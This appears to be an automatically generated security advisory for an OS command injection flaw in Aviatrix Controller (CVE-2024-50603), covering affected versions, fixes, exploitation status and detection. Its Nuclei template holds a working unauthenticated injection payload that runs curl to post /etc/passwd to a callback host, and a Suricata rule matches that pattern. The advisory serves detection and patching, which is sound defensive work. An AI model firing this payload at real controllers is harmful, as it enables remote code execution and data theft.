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CVE-2024-50603: Aviatrix Controllers OS Command Injection Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

An issue was discovered in Aviatrix Controller before 7.1.4191 and 7.2.x before 7.2.4996. Due to the improper neutralization of special elements used in an OS command, an unauthenticated attacker is able to execute arbitrary code. Shell metacharacters can be sent to /v1/api in cloud_type for list_flightpath_destination_instances, or src_cloud_type for flightpath_connection_test.

Description quoted from the CVE record (assigned by mitre, published 2025-01-08).

Weakness: CWE-78 Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2025-01-16
US federal deadline
2025-02-06
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-00546, CNNVD-202501-901, EUVD-2024-44623, GHSA-2vqc-674h-xh9w

VEDAS cluster: VEDAS:CHAPTERFLARE

Exploit Observer links 8 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (8)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (2)

Vulnerability databases and vendor advisories (5)

Catalogue entries, not exploit evidence.

133 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.985
very likely to be attacked soon
VEDAS
0.984
strong exploit evidence
On CISA KEV
Yes, since 2025-01-16
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1CVE-2024-50603 EPSS over time2025-042026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9CVE-2024-50603 VEDAS over time2025-042026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
Aviatrix Controllerbefore 7.1.4191
from 7.2.0 before 7.2.4996		Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: aviatrix controller, aviatrix_systems,_inc. aviatrix_controller.

How to fix it

Fixed versions stated in the CVE record: 7.1.4191, 7.2.4996.

CISA required action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Aviatrix Controller - Command Injection

An issue was discovered in Aviatrix Controller before 7.1.4191 and 7.2.x before 7.2.4996. Due to the improper neutralization of special elements used in an OS command, an unauthenticated attacker is able to execute arbitrary code.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /v1/api); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using regex, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2024-50603.yaml
Show the template (49 lines)
yaml
id: CVE-2024-50603

info:
  name: "Aviatrix Controller - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    An issue was discovered in Aviatrix Controller before 7.1.4191 and 7.2.x before 7.2.4996. Due to the improper
    neutralization of special elements used in an OS command, an unauthenticated attacker is able to execute
    arbitrary code.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-50603&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=aviatrix&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-50603
    cwe-id: CWE-78
  metadata:
    verified: false
  tags: cve,cve2024,aviatrix,controller,rce,oast,kev,vkev,vuln
variables:
  oast: "{{interactsh-url}}"

http:
  - raw:
      - |
        POST /v1/api HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=list_flightpath_destination_instances&CID=anything_goes_here&account_name=1&region=1&vpc_id_name=1&cloud_type=1|$(curl+-X+POST+-d+@/etc/passwd+{{oast}})

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        name: http
        words:
          - "http"

      - type: status
        status:
          - 200

      - type: regex
        part: interactsh_request
        regex:
          - 'root:.*:0:0:'

CVE-2024-50603.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2024-50603 Aviatrix Controller - Command Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-50603 Aviatrix Controller - Command Injection"; flow:established,to_server; http.request_body; content:"etc/passwd"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2024-50603; reference:url,https://www.exploit.observer/?keyword=CVE-2024-50603&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=aviatrix&match=exact; sid:1001631; rev:2;)

CVE-2024-50603.rules on GitHub

References

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.